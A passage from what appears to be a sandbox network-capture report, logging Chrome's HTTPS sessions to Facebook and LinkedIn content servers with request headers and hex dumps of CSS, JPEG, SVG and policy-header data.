72 69 67 68 74 3a 30 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 38 70 78 3b 74 6f 70 3a 63 61 6c 63 28 35 30 25 20 2d 20 31 36 70 78 29 7d 40 6d 65 64 Data Ascii: or,box-shadow,color,-webkit-box-shadow;-webkit-transition-timing-function:cubic-bezier(0, 0, 0.2, 1);transition-timing-function:cubic-bezier(0, 0, 0.2, 1);vertical-align:middle;z-index:0;position:absolute;right:0;margin-right:8px;top:calc(50% - 16px)}@med
2024-04-11 20:35:34 UTC	16383	IN	Data Raw: 70 78 29 20 7b 0a 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 36 38 30 70 78 3b 0a 20 20 20 20 7d 0a 20 20 20 20 2e 5c 21 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 36 38 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 7d 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 39 32 30 70 78 29 20 7b 0a 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 39 32 30 70 78 3b 0a 20 20 20 20 7d 0a 20 20 20 20 2e 5c 21 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 39 32 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 Data Ascii: px) { .container { max-width: 1680px; } .\!container { max-width: 1680px !important; }}@media (min-width: 1920px) { .container { max-width: 1920px; } .\!container { max-width: 1920px !important
2024-04-11 20:35:34 UTC	16383	IN	Data Raw: 64 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 6c 69 6e 6b 2d 76 69 73 69 74 65 64 29 3b 0a 7d 0a 2e 6c 69 6e 6b 3a 76 69 73 69 74 65 64 3a 68 6f 76 65 72 2c 20 2e 6c 69 6e 6b 3a 6c 69 6e 6b 3a 76 69 73 69 74 65 64 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 6c 69 6e 6b 2d 76 69 73 69 74 65 64 2d 68 6f 76 65 72 29 3b 0a 7d 0a 2e 6c 69 6e 6b 3a 76 69 73 69 74 65 64 3a 61 63 74 69 76 65 2c 20 2e 6c 69 6e 6b 3a 6c 69 6e 6b 3a 76 69 73 69 74 65 64 3a 61 63 74 69 76 65 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 6c 69 6e 6b 2d 76 69 73 69 74 65 64 2d 61 63 74 69 76 65 29 3b 0a 7d 0a 2e 6c 69 6e 6b 2d 6e 6f 2d 76 69 73 69 74 65 64 2d 73 74 61 Data Ascii: d { color: var(--color-link-visited);}.link:visited:hover, .link:link:visited:hover { color: var(--color-link-visited-hover);}.link:visited:active, .link:link:visited:active { color: var(--color-link-visited-active);}.link-no-visited-sta
2024-04-11 20:35:34 UTC	16383	IN	Data Raw: 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 36 30 30 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 6c 61 62 65 6c 29 3b 0a 7d 0a 2e 74 61 62 2d 6d 64 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 34 38 70 78 3b 0a 20 20 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 74 65 72 74 69 61 72 79 29 3b Data Ascii: x; font-size: 14px; font-weight: 600; color: var(--color-label);}.tab-md { display: flex; height: 48px; cursor: pointer; align-items: center; justify-content: center; background-color: var(--color-container-tertiary);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.4	49973	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	590	OUT	GET /v/t1.6435-9/206212128_286310049560622_2434215158864310035_n.jpg?stp=dst-jpg_s960x960&_nc_cat=104&ccb=1-7&_nc_sid=5f2048&_nc_ohc=Uq8wNHIYnA8Ab5AZxYo&_nc_ht=scontent-lga3-2.xx&oh=00_AfAF4pxDyNudHF7xMFtcXwy7ef2UAhVnPQNVbUvBDAjIZg&oe=663FD0B6 HTTP/1.1 Host: scontent-lga3-2.xx.fbcdn.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	660	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Thu, 24 Jun 2021 19:40:52 GMT X-Needle-Checksum: 3897982997 thrift_fmhk: GBB65HBQcclemorsYbhTneiDFfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=3246996485 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:34 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=1, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 27354
2024-04-11 20:35:34 UTC	1	IN	Data Raw: ff Data Ascii:
2024-04-11 20:35:34 UTC	14948	IN	Data Raw: d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff ed 00 84 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 68 1c 02 28 00 62 46 42 4d 44 30 61 30 30 30 61 37 30 30 31 30 30 30 30 31 32 30 39 30 30 30 30 39 37 31 33 30 30 30 30 64 38 31 34 30 30 30 30 30 31 31 36 30 30 30 30 63 64 31 64 30 30 30 30 30 64 33 37 30 30 30 30 66 31 33 39 30 30 30 30 33 33 33 62 30 30 30 30 35 30 33 63 30 30 30 30 64 61 36 61 30 30 30 30 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFPhotoshop 3.08BIMh(bFBMD0a000a700100001209000097130000d814000001160000cd1d00000d370000f1390000333b0000503c0000da6a0000C%# , #&')*)-0-(0%()(C(((((((((((((((
2024-04-11 20:35:34 UTC	12405	IN	Data Raw: 57 d3 2e e5 fe 62 52 0e d9 84 9a cb 13 a9 6c 48 05 28 35 18 be 3e 73 6a a5 c2 fb a3 b4 61 d6 36 d4 a9 0d ac 13 c5 0f 71 71 00 1a 84 45 34 61 2a b4 56 58 95 b4 b6 5a dc c0 53 55 e6 12 83 58 86 9a 48 96 d5 98 22 9a 3b c0 c0 d6 28 9c 74 27 80 25 08 cc 83 f8 8e 03 45 4b 6d 5d c6 b7 a7 89 54 68 96 02 25 a7 c4 bb 06 cf 7a fe 19 ed eb f1 36 28 5c 55 51 86 ea 55 7d ce 0a 97 c0 6b 51 d1 5c 4d ff 00 ef dc d1 3b c2 54 6e 02 6c 2b f9 50 22 8e fe 7d 7c a4 01 29 82 55 42 e0 0c 45 b6 df ba 13 d8 71 08 b4 5a fb bb f4 7f ff c4 00 22 11 01 00 02 02 02 02 02 03 01 00 00 00 00 00 00 00 01 00 11 21 31 41 50 10 51 20 61 40 60 71 80 ff da 00 08 01 02 01 01 3f 10 ff 00 1f 1b 71 67 30 6f c0 9b 62 01 ed e2 bf 67 c0 db 60 9c c3 3e 2c d4 50 df c7 1a a0 ed 0f 91 1d 74 6f 22 1a 8e 51 Data Ascii: W.bRlH(5>sja6qqE4a*VXZSUXH";(t'%EKm]Th%z6(\UQU}kQ\M;Tnl+P"}\|)UBEqZ"!1APQ a@`q?qg0obg`>,Pto"Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.4	49982	31.13.71.7	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	607	OUT	GET /v/t39.30808-6/434377831_977196400471980_4692415244947758289_n.jpg?stp=c0.18.160.160a_dst-jpg_p160x160&_nc_cat=108&ccb=1-7&_nc_sid=5f2048&_nc_ohc=_mpe2tuK2qoAb7w4Shi&_nc_ht=scontent-lga3-1.xx&oh=00_AfBB0yUIlV4ji25AYwMaaDhRRzMoKQaEng_iUrCLWilsaA&oe=661E2426 HTTP/1.1 Host: scontent-lga3-1.xx.fbcdn.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	658	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Mon, 01 Apr 2024 18:24:19 GMT X-Needle-Checksum: 4009769189 thrift_fmhk: GBCmplCxyPBuxA5ZVDvpLVRFFfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=144625090 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:34 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=0, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 8871
2024-04-11 20:35:34 UTC	1	IN	Data Raw: ff Data Ascii:
2024-04-11 20:35:34 UTC	8870	IN	Data Raw: d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff ed 00 84 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 68 1c 02 28 00 62 46 42 4d 44 30 61 30 30 30 61 36 66 30 31 30 30 30 30 36 33 30 33 30 30 30 30 37 62 30 37 30 30 30 30 34 61 30 38 30 30 30 30 33 34 30 39 30 30 30 30 35 38 30 65 30 30 30 30 31 32 31 35 30 30 30 30 38 61 31 35 30 30 30 30 37 32 31 36 30 30 30 30 37 35 31 37 30 30 30 30 61 37 32 32 30 30 30 30 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 Data Ascii: JFIFPhotoshop 3.08BIMh(bFBMD0a000a6f010000630300007b0700004a08000034090000580e0000121500008a1500007216000075170000a7220000C%# , #&')*)-0-(0%()(C(((((((((((((((

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.4	49959	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	583	OUT	GET /aero-v1/sc/h/euqjj7tf5wvr33frd3x1jj9s HTTP/1.1 Host: static.licdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.linkedin.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.linkedin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	1064	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 307101 Cache-Control: max-age=604800, immutable Content-Disposition: attachment Content-Type: image/svg+xml Date: Thu, 11 Apr 2024 20:35:34 GMT Expires: Thu, 18 Apr 2024 20:35:34 GMT Last-Modified: Tue, 14 Feb 2023 01:10:49 GMT Server: ECAcc (nyd/D138) Timing-Allow-Origin: * Vary: Accept-Encoding x-ambry-blob-size: 508 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=0.0014002569; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-FS-UUID: 0006159098351ffc2e3b4abf8b0ea3bf X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkJg1H/wuO0q/iw6jvw== Content-Length: 508 Connection: close
2024-04-11 20:35:34 UTC	508	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 31 20 32 31 22 20 69 64 3d 22 6c 69 6e 6b 65 64 69 6e 2d 62 75 67 2d 62 6c 75 65 2d 78 73 6d 61 6c 6c 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 20 72 6f 6c 65 3d 22 6e 6f 6e 65 22 20 64 61 74 61 2d 73 75 70 70 6f 72 74 65 64 2d 64 70 73 3d 22 32 31 78 32 31 22 20 77 69 64 74 68 3d 22 32 31 22 20 68 65 69 67 68 74 3d 22 32 31 22 3e 0a 20 20 3c 67 3e 0a 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 39 2e 35 20 30 68 2d 31 38 41 31 2e 35 20 31 2e 35 20 30 20 30 30 30 20 31 2e 35 76 31 38 41 31 2e 35 20 31 2e 35 20 30 20 30 30 31 2e 35 20 32 31 68 31 38 61 31 2e 35 20 31 2e 35 20 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 21 21" id="linkedin-bug-blue-xsmall" aria-hidden="true" role="none" data-supported-dps="21x21" width="21" height="21"> <g> <path d="M19.5 0h-18A1.5 1.5 0 000 1.5v18A1.5 1.5 0 001.5 21h18a1.5 1.5 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.4	49966	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	352	OUT	GET /api/graphql/ HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	695	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}
2024-04-11 20:35:34 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:34 UTC	1536	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.4	49984	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	1215	OUT	POST /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=7&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1 Host: www.facebook.com Connection: keep-alive Content-Length: 1130 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 viewport-width: 1280 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFLAG7wG1iMWWrl2L sec-ch-ua-platform-version: "10.0.0" dpr: 1 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-model: "" sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.facebook.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.facebook.com/bfjfinancial/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wd=1280x907
2024-04-11 20:35:34 UTC	1130	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 46 4c 41 47 37 77 47 31 69 4d 57 57 72 6c 32 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 73 22 0d 0a 0d 0a 31 37 31 32 38 36 37 37 33 33 33 31 38 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 46 4c 41 47 37 77 47 31 69 4d 57 57 72 6c 32 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 71 22 0d 0a 0d 0a 5b 7b 22 61 70 70 5f 69 64 22 3a 22 32 32 32 30 33 39 31 37 38 38 32 30 30 38 39 32 22 2c 22 70 6f 73 74 73 22 3a 5b 5b 22 66 61 6c 63 6f 3a 6c 6f 78 5f 75 70 73 65 6c 6c 5f 65 76 65 6e 74 22 2c 7b 22 Data Ascii: ------WebKitFormBoundaryFLAG7wG1iMWWrl2LContent-Disposition: form-data; name="ts"1712867733318------WebKitFormBoundaryFLAG7wG1iMWWrl2LContent-Disposition: form-data; name="q"[{"app_id":"2220391788200892","posts":[["falco:lox_upsell_event",{"
2024-04-11 20:35:34 UTC	896	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:34 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:34 UTC	1758	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.4	49969	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	605	OUT	GET /v/t1.6435-9/203598184_284712353053725_8726646647123246716_n.jpg?stp=c64.0.160.160a_dst-jpg_p160x160&_nc_cat=104&ccb=1-7&_nc_sid=5f2048&_nc_ohc=PHlGU2St1TUAb6VJarJ&_nc_ht=scontent-lga3-2.xx&oh=00_AfChtWu6Ep5nAiBIvjYV9z3nmOFlTwAMzrg6NB3bjxAWlw&oe=663FA40B HTTP/1.1 Host: scontent-lga3-2.xx.fbcdn.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
